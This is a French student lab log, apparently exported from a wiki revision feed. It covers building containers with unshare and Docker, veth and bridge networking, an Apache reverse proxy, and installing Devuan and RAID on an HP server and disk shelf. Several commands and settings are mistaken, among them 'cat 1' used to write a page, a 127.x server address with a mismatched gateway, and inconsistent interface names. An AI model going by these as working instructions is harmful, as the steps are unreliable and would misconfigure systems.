		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48115"/>
				<updated>2018-11-27T09:49:17Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Mise en route du DAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP XXXXXX, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP XXXXXXX.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48114</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48114"/>
				<updated>2018-11-27T09:45:25Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séance 3 : TP PRA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
